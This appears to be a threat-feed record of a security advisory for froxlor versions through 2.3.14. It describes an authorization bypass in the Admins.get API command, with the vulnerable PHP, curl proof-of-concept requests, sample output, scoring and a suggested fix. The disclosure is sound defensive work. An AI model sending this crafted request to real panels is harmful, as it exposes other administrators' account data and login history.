{"schema":"threatline.record/2","record":{"id":"GHSA-m7gc-8c8g-4f89","aliases":["GHSA-m7gc-8c8g-4f89"],"summary":"Authorization bypass via identifier confusion in `Admins.get`, enabling a reseller to read any admin's record","details":"### Summary\r\n\r\n**Authorization bypass (CWE-863) through identifier confusion in `Admins::get`.** The authorization test is satisfied by **either** `id` **or** `loginname`, while the query that follows is driven by **`id` alone whenever `id > 0`**. A reseller passes the victim's `adminid` together with its own `loginname`, the second disjunct of the check waves it through, and the command returns the other admin's full `panel_admins` row — including the super-admin's.\r\n\r\n### Details\r\n\r\n```php\r\n// lib/Froxlor/Api/Commands/Admins.php:434-444\r\n$id        = $this->getParam('id', true, 0);\r\n$loginname = $this->getParam('loginname', $ln_optional, '');\r\n\r\nif ($this->isAdmin() && ($this->getUserDetail('change_serversettings') == 1\r\n        || ($this->getUserDetail('adminid') == $id || $this->getUserDetail('loginname') == $loginname))) {\r\n\r\n    $result_stmt = Database::prepare(\"\r\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\r\n        WHERE \" . ($id > 0 ? \"`adminid` = :idln\" : \"`loginname` = :idln\"));\r\n    $params = ['idln' => ($id <= 0 ? $loginname : $id)];\r\n```\r\n\r\nThe gate is a disjunction over two independently-supplied identifiers; the row selection uses only one of them, and it prefers the one the gate did not have to match.\r\n\r\n**Two siblings in the same codebase get it right, which is what makes this a slip rather than a design.** `Customers::get` (`Customers.php:927`) rejects a mismatch on *either* identifier before querying. `Admins::update` (`Admins.php:559`) re-verifies `$result['adminid']` *after* the fetch and is therefore not exploitable by the same trick.\r\n\r\n### Proof of concept\r\n\r\nfroxlor **2.3.14** (`c147de18`), over HTTP, using the reseller's own API key. `reseller1` is an admin-type account with `change_serversettings = 0`; `adminid 1` is the super-admin.\r\n\r\n```\r\n=== CONTROL: reseller asks for adminid 1 honestly (no loginname) ===\r\n$ curl -u RESELLERKEY1:RESELLERSECRET1 \\\r\n    -d '{\"command\":\"Admins.get\",\"params\":{\"id\":1}}' http://127.0.0.1/api.php\r\n{ \"message\": \"Not allowed to execute given command.\" }\r\n\r\n=== CONTROL: reseller lists admins (the guarded sibling) ===\r\n$ curl -u RESELLERKEY1:RESELLERSECRET1 \\\r\n    -d '{\"command\":\"Admins.listing\"}' http://127.0.0.1/api.php\r\n{ \"message\": \"Not allowed to execute given command.\" }\r\n\r\n=== ATTACK: id=victim + loginname=self ===\r\n$ curl -u RESELLERKEY1:RESELLERSECRET1 \\\r\n    -d '{\"command\":\"Admins.get\",\"params\":{\"id\":1,\"loginname\":\"reseller1\"}}' http://127.0.0.1/api.php\r\n{\r\n \"adminid\": 1,\r\n \"loginname\": \"admin\",\r\n \"name\": \"Administrator\",\r\n \"email\": \"admin@example.test\",\r\n \"customers_see_all\": 1,\r\n \"change_serversettings\": 1,\r\n \"api_allowed\": 1,\r\n \"ip\": \"-1\",\r\n \"customers\": -1,\r\n \"domains\": -1\r\n}\r\n```\r\n\r\nThe oracle is the `adminid`/`loginname` pair coming back as the **super-admin's** rather than the caller's, with two controls proving the same caller is refused without the trick.\r\n\r\n### Impact\r\n\r\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` — **4.3 Medium**.\r\n\r\nA reseller reads the complete `panel_admins` row of any other admin: contact address, every resource limit and its `*_used` counter, the `ip` allow-list, `api_allowed`, `gui_access`, `deactivated`, `custom_notes`, `loginfail_count`, `lastlogin_succ`/`lastlogin_fail` and `theme`. On a shared froxlor instance that is another operator's tenancy configuration and login history.\r\n\r\n`PR:L` treats a reseller as a tenant of the panel rather than an operator; if your convention scores a reseller as `PR:H` this is 2.7 Low. Confidentiality is `L` and not `H` precisely because the credential columns do not come back — see below.\r\n\r\n### Suggested fix\r\n\r\nDo what `Customers::get` already does: reject the request when the caller supplies an identifier that is not its own, before the query runs — or drive the query from the identifier the gate actually matched.\r\n\r\n### What this is not\r\n\r\n**Not credential disclosure.** `password` and `data_2fa` are `unset()` at `Admins.php:448-449` because `isInternal()` is false on a direct call, and that holds here: both keys are absent from the response above. I traced every route that can set the internal flag — `ApiCommand::__construct($…, $internal)` ← `getLocal($…, $internal)` ← `apiCall($…, $internal = false)` — and no HTTP-reachable path sets it.\r\n\r\nNot a write primitive. `Admins::update` re-verifies the fetched row and is not affected.\r\n\r\nNot reachable by a plain customer: the command is `@access admin`.\r\n\r\nIt does not let a reseller *enumerate* admins — they must know or guess the numeric `adminid`, which on a default install is `1` for the super-admin.\r\n\r\nVerified present at `2.3.14` and `origin/v2` `c147de18`. `origin/main` is the v3 Laravel rewrite and does not contain this file.\r\n","categories":["Unclassified"],"product":"froxlor/froxlor","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-m7gc-8c8g-4f89","source_modified_at":"2026-10-20T07:24:18Z","fetched_at":"2026-10-23T19:00:29.328130Z","package":{"ecosystem":"composer","name":"froxlor/froxlor"},"range":">= 2.0.0, <= 2.3.14"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-m7gc-8c8g-4f89","source_modified_at":"2026-10-20T07:24:18Z","fetched_at":"2026-10-23T19:00:29.328130Z","package":{"ecosystem":"composer","name":"froxlor/froxlor"},"version":"2.3.15"}],"cvss":4.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-20T07:24:18Z","modified_at":"2026-10-20T07:24:18Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-m7gc-8c8g-4f89","fetched_at":"2026-10-23T19:00:29.328130Z","source_modified_at":"2026-10-20T07:24:18Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-20T07:24:18Z","content_hash":"d592e1ef330207c328c8a3f9386cf6718a67e02fc2616fdb81acf69f9a0c6ec7"}}
